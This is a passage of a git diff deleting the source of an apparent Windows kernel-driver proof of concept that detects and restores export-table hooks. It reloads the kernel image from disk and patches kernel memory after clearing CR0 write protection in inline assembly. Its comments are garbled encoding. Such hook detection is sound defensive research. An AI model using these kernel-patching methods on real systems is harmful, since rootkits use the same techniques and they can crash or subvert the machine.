- KdPrint(("failed to find NtHeader\r\n"));
- return 0;
- }
- NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew);
- if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE)
- {
- KdPrint(("failed to find NtHeader\r\n"));
- return 0;
- }
- opthdr = NtDllHeader->OptionalHeader;
- pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //õ
- arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfFunctions); //ַ
- arrayOfFunctionNames = (DWORD*)((BYTE*)ulModuleBase + pExportTable->AddressOfNames); //
- arrayOfFunctionOrdinals = (WORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfNameOrdinals);
-
- Base = pExportTable->Base;
-
- _asm
- {
- CLI
- MOV EAX, CR0
- AND EAX, NOT 10000H
- MOV CR0, EAX
- }
- arrayOfFunctionAddresses[arrayOfFunctionOrdinals[x] + Base - 1] = ulFunctionOrdinal;
- _asm
- {
- MOV EAX, CR0
- OR EAX, 10000H
- MOV CR0, EAX
- STI
- }
- break;
- }
- }
-
- return TRUE;
-}
-ULONG GetEatHook(ULONG ulOldAddress,int x,ULONG ulSystemKernelModuleBase,ULONG ulSystemKernelModuleSize)
-{
- ULONG ulModuleBase;
- PIMAGE_DOS_HEADER pDosHeader;
- PIMAGE_NT_HEADERS NtDllHeader;
- IMAGE_OPTIONAL_HEADER opthdr;
- DWORD* arrayOfFunctionAddresses;
- DWORD* arrayOfFunctionNames;
- WORD* arrayOfFunctionOrdinals;
- DWORD functionOrdinal;
- DWORD Base,functionAddress;
- IMAGE_EXPORT_DIRECTORY *pExportTable;
- char *functionName = NULL;
- BOOL bIsEatHooked = FALSE;
- ULONG position = 0;
- ULONG ulFunctionOrdinal;
-
- ulModuleBase = ulSystemKernelModuleBase;
- pDosHeader = (PIMAGE_DOS_HEADER)ulModuleBase;
- if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
- {
- KdPrint(("failed to find NtHeader\r\n"));
- return 0;
- }
- NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew);
- if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE)
- {
- KdPrint(("failed to find NtHeader\r\n"));
- return 0;
- }
- opthdr = NtDllHeader->OptionalHeader;
- pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //õ
- arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfFunctions); //ַ
- arrayOfFunctionNames = (DWORD*)((BYTE*)ulModuleBase + pExportTable->AddressOfNames); //
- arrayOfFunctionOrdinals = (WORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfNameOrdinals);
-
- Base = pExportTable->Base;
-
- functionName = (char*)((BYTE*)ulModuleBase + arrayOfFunctionNames[x]);
- ulFunctionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1;
- functionAddress = (DWORD)((BYTE*)ulModuleBase + arrayOfFunctionAddresses[ulFunctionOrdinal]);
-
- if (*functionName == 'Z' &&
- *(functionName+1) == 'w')
- {
- position = *((WORD*)(functionAddress + 1)); //õ
- if (position > 0 &&
- position <= OriginalServiceDescriptorTable->TableSize)
- {
- //õԭʼַ
- functionAddress = OriginalServiceDescriptorTable->ServiceTable[position] - (ULONG)ImageModuleBase + SystemKernelModuleBase;
- }
- }
- if (ulOldAddress != functionAddress)
- {
- KdPrint(("EAT HOOK %08x:%s\r\n",functionAddress,functionName));
- return functionAddress;
- }
- return 0;
-}
-
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.h
deleted file mode 100644
index b3bf709f..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.h
+++ /dev/null
@@ -1,11 +0,0 @@
-#include "DriverEntry.h"
-
-BOOLEAN KernelHookCheck(PINLINEHOOKINFO InlineHookInfo);
-
-VOID FillInlineHookInfo(PUCHAR ulTemp,PINLINEHOOKINFO InlineHookInfo,CHAR* szFunctionName,ULONG ulOldAddress,ULONG HookType);
-VOID CheckFuncByOpcode(PVOID ulReloadAddress,PINLINEHOOKINFO InlineHookInfo,CHAR* szFunctionName,PVOID ulOldAddress);
-
-ULONG GetNextFunctionAddress(ULONG ulNtDllModuleBase,ULONG ulOldAddress,char *functionName,PINLINEHOOKINFO InlineHookInfo);
-BOOLEAN ReSetEatHook(CHAR *lpszFunction,ULONG ulReloadKernelModule,ULONG ulKernelModule);
-ULONG GetEatHook(ULONG ulOldAddress,int x,ULONG ulSystemKernelModuleBase,ULONG ulSystemKernelModuleSize);
-BOOLEAN IsFunctionInExportTable(ULONG ulModuleBase,ULONG ulFunctionAddress);
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.c
deleted file mode 100644
index 70587ce0..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.c
+++ /dev/null
@@ -1,820 +0,0 @@
-
-#include "KernelReload.h"
-#include "FileSystem.h"
-#include "FixRelocation.h"
-
-
-/*ZwQuerySystemInformation öģϢ õһģ Ntos..*/
-BOOLEAN GetSystemKernelModuleInfo(WCHAR **SystemKernelModulePath,PDWORD SystemKernelModuleBase,PDWORD SystemKernelModuleSize)
-{
- NTSTATUS status;
- ULONG ulSize,i;
- PMODULES pModuleList;
- char *lpszKernelName=NULL;
- ANSI_STRING AnsiKernelModule;
- UNICODE_STRING UnicodeKernelModule;
- BOOLEAN bRet=TRUE;
-
- __try
- {
- status=ZwQuerySystemInformation(
- SystemModuleInformation,
- NULL,
- 0,
- &ulSize
- );
- if (status != STATUS_INFO_LENGTH_MISMATCH)
- {
- return FALSE;
- }
- pModuleList=(PMODULES)ExAllocatePool(NonPagedPool,ulSize);
- if (pModuleList)
- {
- status=ZwQuerySystemInformation(
- SystemModuleInformation,
- pModuleList,
- ulSize,
- &ulSize
- );
- if (!NT_SUCCESS(status))
- {
- bRet = FALSE;
- }
- }
- if (!bRet)
- {
- if (pModuleList)
- ExFreePool(pModuleList);
- return FALSE;
- }
- *SystemKernelModulePath=ExAllocatePool(NonPagedPool,260*2);
- if (*SystemKernelModulePath==NULL)
- {
- *SystemKernelModuleBase=0;
- *SystemKernelModuleSize=0;
- return FALSE;
- }
-
- lpszKernelName = pModuleList->smi[0].ModuleNameOffset+pModuleList->smi[0].ImageName; //һģ
- RtlInitAnsiString(&AnsiKernelModule,lpszKernelName);
- RtlAnsiStringToUnicodeString(&UnicodeKernelModule,&AnsiKernelModule,TRUE);
-
- RtlZeroMemory(*SystemKernelModulePath,260*2);
- wcscat(*SystemKernelModulePath,L"\\SystemRoot\\system32\\");
-
- memcpy(
- *SystemKernelModulePath+wcslen(L"\\SystemRoot\\system32\\"), //һģ·
- UnicodeKernelModule.Buffer,
- UnicodeKernelModule.Length
- );
-
- *SystemKernelModuleBase=(DWORD)pModuleList->smi[0].Base; //õһģַ
- *SystemKernelModuleSize=(DWORD)pModuleList->smi[0].Size; //õһģС
- ExFreePool(pModuleList);
- RtlFreeUnicodeString(&UnicodeKernelModule);
-
- }__except(EXCEPTION_EXECUTE_HANDLER){
-
- }
- return TRUE;
-}
-
-
-/*ļDeviceObjectRealDevice*/
-BOOLEAN IoGetFileSystemVpbInfo(IN PFILE_OBJECT FileObject,PDEVICE_OBJECT *DeviceObject,PDEVICE_OBJECT *RealDevice)
-{
- //PDEVICE_OBJECT deviceObject;
- // If the file object has a mounted Vpb, use its DeviceObject.
- if(FileObject->Vpb != NULL && FileObject->Vpb->DeviceObject != NULL)
- {
- *DeviceObject = FileObject->Vpb->DeviceObject;
- *RealDevice= FileObject->Vpb->RealDevice;
-
- // Otherwise, if the real device has a VPB that indicates that it is mounted,
- // then use the file system device object associated with the VPB.
- }
- else if
- (
- !(FileObject->Flags & FO_DIRECT_DEVICE_OPEN)
- &&
- FileObject->DeviceObject->Vpb != NULL
- &&
- FileObject->DeviceObject->Vpb->DeviceObject != NULL
- )
- {
- *DeviceObject = FileObject->DeviceObject->Vpb->DeviceObject;
- *RealDevice = FileObject->DeviceObject->Vpb->RealDevice;
- // Otherwise, just return the real device object.
- }
- else
- {
- *DeviceObject = FileObject->DeviceObject;
- *RealDevice=NULL;
- }
- if (*RealDevice==NULL||*DeviceObject==NULL)
- {
- return FALSE;
- }
- // Simply return the resultant file object.
- return TRUE;
-}
-
-
-
-//FileObjectеRealDeviceDeviceObject
-BOOLEAN GetDeviceObjectFromFileFullName(WCHAR *FileFullName,PDEVICE_OBJECT *RealDevice, PDEVICE_OBJECT *DeviceObject)
-{
- WCHAR wRootName[32]={0};
- UNICODE_STRING RootName;
- OBJECT_ATTRIBUTES ObjectAttributes={0};
- NTSTATUS status;
- HANDLE hFile;
- IO_STATUS_BLOCK IoStatus;
- PFILE_OBJECT FileObject;
- if (FileFullName[0]==0x005C)
- {//in \Windows\system32\ntkrnlpa.exe
- wcscpy(wRootName,L"\\SystemRoot");
- }
- else
- {
- wcscpy(wRootName,L"\\DosDevices\\*:\\");
- wRootName[12]=FileFullName[0];
- }
- RtlInitUnicodeString(&RootName,wRootName);
-
- InitializeObjectAttributes(&ObjectAttributes, &RootName,
- OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
- //RootName.Buffer = "\SystemRoot"
- status = IoCreateFile(
- &hFile,
- SYNCHRONIZE,
- &ObjectAttributes,
- &IoStatus,
- 0,
- FILE_ATTRIBUTE_NORMAL,
- FILE_SHARE_READ|FILE_SHARE_WRITE,
- FILE_OPEN,
- FILE_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT,
- NULL,
- 0,
- 0,
- NULL,
- IO_NO_PARAMETER_CHECKING);
-
- if (!NT_SUCCESS(status))
- {
-
- return FALSE;
- }
- status=ObReferenceObjectByHandle(hFile,1,*IoFileObjectType,KernelMode,&FileObject,NULL);
- if (!NT_SUCCESS(status))
- {
- ZwClose(hFile);
- return FALSE;
- }
- if(!IoGetFileSystemVpbInfo(FileObject,DeviceObject,RealDevice)) //FileObjectеdeviceObjectRealDevice
- {
- ObfDereferenceObject(FileObject);
- ZwClose(hFile);
- return FALSE;
-
- }
- ObfDereferenceObject(FileObject);
- ZwClose(hFile);
-
- return TRUE;
-
-}
-
-/*ϵͳĿ¼*/
-BOOLEAN GetWindowsRootName(WCHAR *WindowsRootName)
-{
- UNICODE_STRING RootName,ObjectName;
- OBJECT_ATTRIBUTES ObjectAttributes;
- HANDLE hLink;
- NTSTATUS status;
- WCHAR *SystemRootName=(WCHAR*)0x7FFE0030;
- WCHAR *ObjectNameBuffer=(WCHAR*)ExAllocatePool(NonPagedPool,260*2);
- if (ObjectNameBuffer==NULL)
- {
- return FALSE;
- }
- RtlZeroMemory(ObjectNameBuffer,260*2);
- RtlInitUnicodeString(&RootName,L"\\SystemRoot");
- InitializeObjectAttributes(&ObjectAttributes,&RootName,OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
- status=ZwOpenSymbolicLinkObject(&hLink,1,&ObjectAttributes);
- if (NT_SUCCESS(status))
- {
- ObjectName.Buffer=ObjectNameBuffer;
- ObjectName.Length=0;
- ObjectName.MaximumLength=260*2;
- status=ZwQuerySymbolicLinkObject(hLink,&ObjectName,NULL);
- //ObjectNameBuffer \Device\Harddisk0\Partition1\Windows
- if (NT_SUCCESS(status))
- {
- int ObjectNameLength=ObjectName.Length/2;
- int Index;
- for (Index=ObjectNameLength-1;Index>0;Index--)
- {
- if (ObjectNameBuffer[Index]==0x005C)
- {
- if (!MmIsAddressValid(&WindowsRootName[ObjectNameLength-Index]))
- {
- break;
-
- }
- //\Windows WindowsRootName
- RtlCopyMemory(WindowsRootName,&ObjectNameBuffer[Index],(ObjectNameLength-Index)*2);
- ExFreePool(ObjectNameBuffer);
- return TRUE;
- }
-
- }
- }
-
- }
- ExFreePool(ObjectNameBuffer);
- if (!MmIsAddressValid(SystemRootName))
- {
- return FALSE;
- }
- if (SystemRootName[1]!=0x003A||SystemRootName[2]!=0x005C)
- {
- return FALSE;
- }
- wcscpy(WindowsRootName,&SystemRootName[2]);
-
- return TRUE;
-
-
-}
-
-
-/*
-ԼļFileObject->IrpList ļ
-*/
-//\SystemRoot\system32\ntkrnlpa.exe
-NTSTATUS KernelOpenFile(wchar_t *FileFullName,
- PHANDLE FileHandle,
- ACCESS_MASK DesiredAccess,
- ULONG FileAttributes,
- ULONG ShareAccess,
- ULONG CreateDisposition,
- ULONG CreateOptions)
-{
- WCHAR SystemRootName[32]=L"\\SystemRoot";
- WCHAR *FileNodeName=NULL;
- UNICODE_STRING FilePath;
- PDEVICE_OBJECT RealDevice,DeviceObject;
- NTSTATUS status=STATUS_UNSUCCESSFUL;
- PFILE_OBJECT FileObject;
-
- FileNodeName=ExAllocatePool(NonPagedPool,260*2);
- if (FileNodeName==NULL)
- {
- return status;
- }
- RtlZeroMemory(FileNodeName,260*2);
-
- if (_wcsnicmp(FileFullName,SystemRootName,wcslen(SystemRootName))==0) //ȷʲô ӦDz·
- {
- //in
- int Len;
- if(!GetWindowsRootName(FileNodeName)) // \Windows
- {
- ExFreePool(FileNodeName);
- return status;
- }
- Len=wcslen(SystemRootName);
- wcscat(FileNodeName,&FileFullName[Len]);
- //FileNodeName == \Windows\system32\ntkrnlpa.exe
- //FileFullName == \SystemRoot\system32\ntkrnlpa.exe
- }
- else
- {
- if (FileFullName[1]!=0x003A||FileFullName[2]!=0x005C)
- {
- return status;
-
- }
- wcscpy(FileNodeName,&FileFullName[2]);
- }
-
- if(!GetDeviceObjectFromFileFullName(FileFullName,&RealDevice,&DeviceObject)) //FileObjectеDeviceObjectRealDevice
- {
- ExFreePool(FileNodeName);
- return status;
- }
- //FileNodeName == \Windows\system32\ntkrnlpa.exe
- RtlInitUnicodeString(&FilePath,FileNodeName);
-
- status=IrpCreateFile(&FilePath,DesiredAccess,FileAttributes,ShareAccess,CreateDisposition,CreateOptions,DeviceObject,RealDevice,&FileObject);
- //ļ FileObject->IrpList
- if (!NT_SUCCESS(status))
- {
- ExFreePool(FileNodeName);
- return status;
- }
-
- //ļļ
- status=ObOpenObjectByPointer(
- FileObject,
- OBJ_KERNEL_HANDLE, //verifier²ҪָOBJ_KERNEL_HANDLE
- 0,
- DesiredAccess|0x100000,
- *IoFileObjectType,
- 0,
- FileHandle);
-
- ObfDereferenceObject(FileObject);
-
-
- return status;
-
-}
-
-
-
-
-//ѯirpϢfilesize
-NTSTATUS KernelGetFileSize(HANDLE hFile, PLARGE_INTEGER FileSize)
-{
- NTSTATUS status;
- PFILE_OBJECT FileObject;
- PDEVICE_OBJECT DeviceObject,RealDevice;
- FILE_STANDARD_INFORMATION FileInformation;
-
- status=ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, &FileObject, 0);
- if (!NT_SUCCESS(status))
- {
- return status;
- }
- if(!IoGetFileSystemVpbInfo(FileObject,&DeviceObject,&RealDevice))
- {
- ObDereferenceObject(FileObject);
- return STATUS_UNSUCCESSFUL;
- }
- //ѯirpջϢFileObject
- status=IrpQueryInformationFile(FileObject,DeviceObject,&FileInformation,sizeof(FILE_STANDARD_INFORMATION),FileStandardInformation);
- if (!NT_SUCCESS(status))
- {
- ObDereferenceObject(FileObject);
- return status;
- }
- FileSize->HighPart=FileInformation.EndOfFile.HighPart;
- FileSize->LowPart=FileInformation.EndOfFile.LowPart;
- ObDereferenceObject(FileObject);
- return status;
-}
-
-
-
-
-/*
-ļļСȡļڴ
-*/
-NTSTATUS KernelReadFile(HANDLE hFile, PLARGE_INTEGER ByteOffset, ULONG Length, PVOID FileBuffer, PIO_STATUS_BLOCK IoStatusBlock)
-{
- NTSTATUS status;
- PFILE_OBJECT FileObject;
- PDEVICE_OBJECT DeviceObject,RealDevice;
- FILE_STANDARD_INFORMATION FileInformation;
- status=ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, &FileObject, 0);
- if (!NT_SUCCESS(status))
- {
- return status;
- }
- if(!IoGetFileSystemVpbInfo(FileObject,&DeviceObject,&RealDevice))
- {
- ObDereferenceObject(FileObject);
- return STATUS_UNSUCCESSFUL;
- }
- status=IrpReadFile(FileObject,DeviceObject,IoStatusBlock,FileBuffer,Length,ByteOffset); //Irpļ뻺
- ObDereferenceObject(FileObject);
- return status;
-
-}
-
-
-
-/*
-FileBufferеƫ VirtualAglin
-filebuffer Ϊȡڴ ImageModuleBaseΪϵͳеģַ
-*/
-BOOLEAN ImageFile(BYTE *FileBuffer,BYTE **ImageModuleBase)
-{
- PIMAGE_DOS_HEADER ImageDosHeader;
- PIMAGE_NT_HEADERS ImageNtHeaders;
- PIMAGE_SECTION_HEADER ImageSectionHeader;
- DWORD FileAlignment,SectionAlignment,NumberOfSections,SizeOfImage,SizeOfHeaders;
- DWORD Index;
- BYTE *ImageBase;
- DWORD SizeOfNtHeaders;
- ImageDosHeader=(PIMAGE_DOS_HEADER)FileBuffer;
- if (ImageDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
- {
- return FALSE;
- }
- ImageNtHeaders=(PIMAGE_NT_HEADERS)(FileBuffer+ImageDosHeader->e_lfanew);
- if (ImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE)
- {
- return FALSE;
- }
- FileAlignment=ImageNtHeaders->OptionalHeader.FileAlignment;//0x200
- SectionAlignment=ImageNtHeaders->OptionalHeader.SectionAlignment;//0x1000
- NumberOfSections=ImageNtHeaders->FileHeader.NumberOfSections;//0x16
- SizeOfImage=ImageNtHeaders->OptionalHeader.SizeOfImage;//0x412000
- SizeOfHeaders=ImageNtHeaders->OptionalHeader.SizeOfHeaders;//0x800
-
- SizeOfImage=AlignSize(SizeOfImage,SectionAlignment);//0x412000
-
- ImageBase=ExAllocatePool(NonPagedPool,SizeOfImage);
- if (ImageBase==NULL)
- {
- return FALSE;
- }
- RtlZeroMemory(ImageBase,SizeOfImage);
- //0xf8
- SizeOfNtHeaders=sizeof(ImageNtHeaders->FileHeader) + sizeof(ImageNtHeaders->Signature)+ImageNtHeaders->FileHeader.SizeOfOptionalHeader;
- ImageSectionHeader=(PIMAGE_SECTION_HEADER)((DWORD)ImageNtHeaders+SizeOfNtHeaders);
- for (Index=0;IndexSizeOfImage)
- {//no in
- ImageSectionHeader[NumberOfSections-1].SizeOfRawData = SizeOfImage-ImageSectionHeader[NumberOfSections-1].VirtualAddress;
- }
- RtlCopyMemory(ImageBase,FileBuffer,SizeOfHeaders);
-
- for (Index=0;IndexDriverSection ںģ
-*/
-PVOID GetKernelModuleBase(PDRIVER_OBJECT DriverObject,char *KernelModuleName)
-{
- PLDR_DATA_TABLE_ENTRY DriverSection,LdrEntry;
- ANSI_STRING AnsiKernelModuleName;
- UNICODE_STRING UniKernelModuleName;
- UNICODE_STRING ModuleName;
- WCHAR *Buffer;
- int Lentgh,Index;
- RtlInitAnsiString(&AnsiKernelModuleName,KernelModuleName);
- RtlAnsiStringToUnicodeString(&UniKernelModuleName,&AnsiKernelModuleName,TRUE);
- Buffer=ExAllocatePool(NonPagedPool,260*2);
- if (Buffer==NULL)
- {
- return NULL;
- }
- RtlZeroMemory(Buffer,206*2);
- DriverSection=DriverObject->DriverSection;
- LdrEntry=(PLDR_DATA_TABLE_ENTRY)DriverSection->InLoadOrderLinks.Flink;
- while (LdrEntry&&DriverSection!=LdrEntry)
- {
- //(DWORD)LdrEntry->DllBase>=*(DWORD*)MmSystemRangeStart&&
- if (LdrEntry->FullDllName.Length>0&&
- LdrEntry->FullDllName.Buffer!=NULL)
- {
-
- if (MmIsAddressValid(&LdrEntry->FullDllName.Buffer[LdrEntry->FullDllName.Length/2-1]))
- {
- Lentgh=LdrEntry->FullDllName.Length/2;
- for (Index=Lentgh-1;Index>0;Index--)
- {
- if (LdrEntry->FullDllName.Buffer[Index]==0x005C)
- {
- break;
- }
- }
- if (LdrEntry->FullDllName.Buffer[Index]==0x005C)
- {
- RtlCopyMemory(Buffer,&(LdrEntry->FullDllName.Buffer[Index+1]),(Lentgh-Index-1)*2);
- ModuleName.Buffer=Buffer;
- ModuleName.Length=(Lentgh-Index-1)*2;
- ModuleName.MaximumLength=260*2;
- }
- else
- {
- RtlCopyMemory(Buffer,LdrEntry->FullDllName.Buffer,Lentgh*2);
- ModuleName.Buffer=Buffer;
- ModuleName.Length=Lentgh*2;
- ModuleName.MaximumLength=260*2;
-
- }
-
- if (RtlEqualUnicodeString(&ModuleName,&UniKernelModuleName,TRUE))
- {
- ExFreePool(Buffer);
- return LdrEntry->DllBase;
- }
-
- }
-
- }
- LdrEntry=(PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink;
- }
- ExFreePool(Buffer);
- return NULL;
-}
-
-
-/*
-ͨúַ
-*/
-PVOID
- MiFindExportedRoutine (
- IN PVOID DllBase,
- BOOLEAN ByName,
- IN char *RoutineName,
- DWORD Ordinal
- )
-{
- USHORT OrdinalNumber;
- PULONG NameTableBase;
- PUSHORT NameOrdinalTableBase;
- PULONG AddressTableBase;
- PULONG Addr;
- LONG High;
- LONG Low;
- LONG Middle;
- LONG Result;
- ULONG ExportSize;
- PVOID FunctionAddress;
- PIMAGE_EXPORT_DIRECTORY ExportDirectory;
-
- PAGED_CODE();
-
- //õ
- ExportDirectory = (PIMAGE_EXPORT_DIRECTORY) RtlImageDirectoryEntryToData (
- DllBase,
- TRUE,
- IMAGE_DIRECTORY_ENTRY_EXPORT,
- &ExportSize);
-
- if (ExportDirectory == NULL) {
- return NULL;
- }
-
- NameTableBase = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNames);
- NameOrdinalTableBase = (PUSHORT)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNameOrdinals);
- AddressTableBase=(PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions);
-
- if (!ByName)
- {
- return (PVOID)AddressTableBase[Ordinal];
- }
-
-
- Low = 0;
- Middle = 0;
- High = ExportDirectory->NumberOfNames - 1;
-
- while (High >= Low) {
- Middle = (Low + High) >> 1;
-
- Result = strcmp (RoutineName,
- (PCHAR)DllBase + NameTableBase[Middle]);
-
- if (Result < 0) {
- High = Middle - 1;
- }
- else if (Result > 0) {
- Low = Middle + 1;
- }
- else {
- break;
- }
- }
-
- if (High < Low) {
- return NULL;
- }
-
- OrdinalNumber = NameOrdinalTableBase[Middle];
- if ((ULONG)OrdinalNumber >= ExportDirectory->NumberOfFunctions) {
- return NULL;
- }
-
- Addr = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions);
-
- FunctionAddress = (PVOID)((PCHAR)DllBase + Addr[OrdinalNumber]);
-
- //
- // Forwarders are not used by the kernel and HAL to each other.
- //
-
- ASSERT ((FunctionAddress <= (PVOID)ExportDirectory) ||
- (FunctionAddress >= (PVOID)((PCHAR)ExportDirectory + ExportSize)));
-
- return FunctionAddress;
-}
-
-
-
-
-BOOLEAN InsertOriginalFirstThunk(DWORD ImageBase,DWORD ExistImageBase,PIMAGE_THUNK_DATA FirstThunk)
-{
- DWORD Offset;
- PIMAGE_THUNK_DATA OriginalFirstThunk;
- Offset=(DWORD)FirstThunk-ImageBase;
- OriginalFirstThunk=(PIMAGE_THUNK_DATA)(ExistImageBase+Offset);
- while (OriginalFirstThunk->u1.Function)
- {
- FirstThunk->u1.Function=OriginalFirstThunk->u1.Function;
- OriginalFirstThunk++;
- FirstThunk++;
- }
- return TRUE;
-
-}
-
-
-
-
-
-
-//
-BOOLEAN FixImportTable(BYTE *ImageBase,DWORD ExistImageBase,PDRIVER_OBJECT DriverObject)
-{
- PIMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor=NULL;
- PIMAGE_THUNK_DATA ImageThunkData,FirstThunk;
- PIMAGE_IMPORT_BY_NAME ImortByName;
- DWORD ImportSize;
- PVOID ModuleBase;
- char ModuleName[260];
- DWORD FunctionAddress;
- //õַ
- ImageImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)RtlImageDirectoryEntryToData(ImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&ImportSize);
- if (ImageImportDescriptor==NULL)
- {
- return FALSE;
- }
- while (ImageImportDescriptor->OriginalFirstThunk&&ImageImportDescriptor->Name)
- {
- strcpy(ModuleName,(char*)(ImageBase+ImageImportDescriptor->Name)); //Ϣ
-
- //ntoskrnl.exe(NTKRNLPA.exentkrnlmp.exentkrpamp.exe)
- if (_stricmp(ModuleName,"ntkrnlpa.exe")==0||
- _stricmp(ModuleName,"ntoskrnl.exe")==0||
- _stricmp(ModuleName,"ntkrnlmp.exe")==0||
- _stricmp(ModuleName,"ntkrpamp.exe")==0)
- {//no in
- ModuleBase=GetKernelModuleBase(DriverObject,"ntkrnlpa.exe"); //ͨDriverObject->DriverSection ںģ
- if (ModuleBase==NULL)
- {
- ModuleBase=GetKernelModuleBase(DriverObject,"ntoskrnl.exe");
- if (ModuleBase==NULL)
- {
- ModuleBase=GetKernelModuleBase(DriverObject,"ntkrnlmp.exe");
- if (ModuleBase==NULL)
- {
- ModuleBase=GetKernelModuleBase(DriverObject,"ntkrpamp.exe");
-
- }
-
- }
- }
-
- }
- else
- {
- ModuleBase=GetKernelModuleBase(DriverObject,ModuleName);
-
- }
- if (ModuleBase==NULL)
- {
- FirstThunk=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->FirstThunk);
- InsertOriginalFirstThunk((DWORD)ImageBase,ExistImageBase,FirstThunk);
- ImageImportDescriptor++;
- continue;
- }
- //PSHED.dll
- ImageThunkData=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->OriginalFirstThunk);
- FirstThunk=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->FirstThunk);
- while(ImageThunkData->u1.Ordinal)
- {
- //ŵ
- if(IMAGE_SNAP_BY_ORDINAL32(ImageThunkData->u1.Ordinal))
- {
- //ͨϵͳں˵ĵ - ַ
- FunctionAddress=(DWORD)MiFindExportedRoutine(ModuleBase,FALSE,NULL,ImageThunkData->u1.Ordinal & ~IMAGE_ORDINAL_FLAG32);
- if (FunctionAddress==0)
- {
- return FALSE;
- }
- FirstThunk->u1.Function=FunctionAddress;
- }
- //
- else
- {
- //
- ImortByName=(PIMAGE_IMPORT_BY_NAME)(ImageBase+ImageThunkData->u1.AddressOfData);
- FunctionAddress=(DWORD)MiFindExportedRoutine(ModuleBase,TRUE,ImortByName->Name,0);
- if (FunctionAddress==0)
- {
- return FALSE;
- }
- FirstThunk->u1.Function=FunctionAddress;
- }
- FirstThunk++;
- ImageThunkData++;
- }
- ImageImportDescriptor++;
- }
- return TRUE;
-}
-
-
-/*
-system32//NtosKrnl.exe ..
-*/
-BOOLEAN PeLoad(
- WCHAR *FileFullPath,
- BYTE **ImageModeleBase,
- PDRIVER_OBJECT DeviceObject,
- DWORD ExistImageBase
- )
-{
- NTSTATUS Status;
- HANDLE hFile;
- LARGE_INTEGER FileSize;
- DWORD Length;
- BYTE *FileBuffer;
- BYTE *ImageBase;
- IO_STATUS_BLOCK IoStatus;
- //\SystemRoot\system32\ntkrnlpa.exe
- Status=KernelOpenFile(FileFullPath,&hFile,0x100020,0x80,1,1,0x20); //ԼļFileObject->IrpList ļ
- if (!NT_SUCCESS(Status))
- {
- return FALSE;
- }
-
- Status=KernelGetFileSize(hFile,&FileSize); //ȡirpϢfilesize
- if (!NT_SUCCESS(Status))
- {
- ZwClose(hFile);
- return FALSE;
- }
- Length=FileSize.LowPart;
- FileBuffer=ExAllocatePool(PagedPool,Length);
- if (FileBuffer==NULL)
- {
- ZwClose(hFile);
- return FALSE;
- }
-
- Status=KernelReadFile(hFile,NULL,Length,FileBuffer,&IoStatus); //ļļС ͨirpȡļڴ
- if (!NT_SUCCESS(Status))
- {
- ZwClose(hFile);
- ExFreePool(FileBuffer);
- return FALSE;
- }
- ZwClose(hFile);
-
-
- if(!ImageFile(FileBuffer,&ImageBase)) //FileBufferеƫ VirtualAglin õȫImageModuleBase
- {
- ExFreePool(FileBuffer);
- return FALSE;
- }
- ExFreePool(FileBuffer);
-
- //2k3MiFindExportedRoutineʧ
- if(!FixImportTable(ImageBase,ExistImageBase,DeviceObject)) //
- {
- ExFreePool(ImageBase);
- return FALSE;
- }
- if(!FixBaseRelocTable(ImageBase,ExistImageBase)) //ضλ
- {
- ExFreePool(ImageBase);
- return FALSE;
- }
-
- *ImageModeleBase=ImageBase; //õĻַ ԭڴиʽһ һntos
-
- return TRUE;
-}
-
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.h
deleted file mode 100644
index 449ec239..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.h
+++ /dev/null
@@ -1,64 +0,0 @@
-#include "Reload.h"
-
-
-
-
-
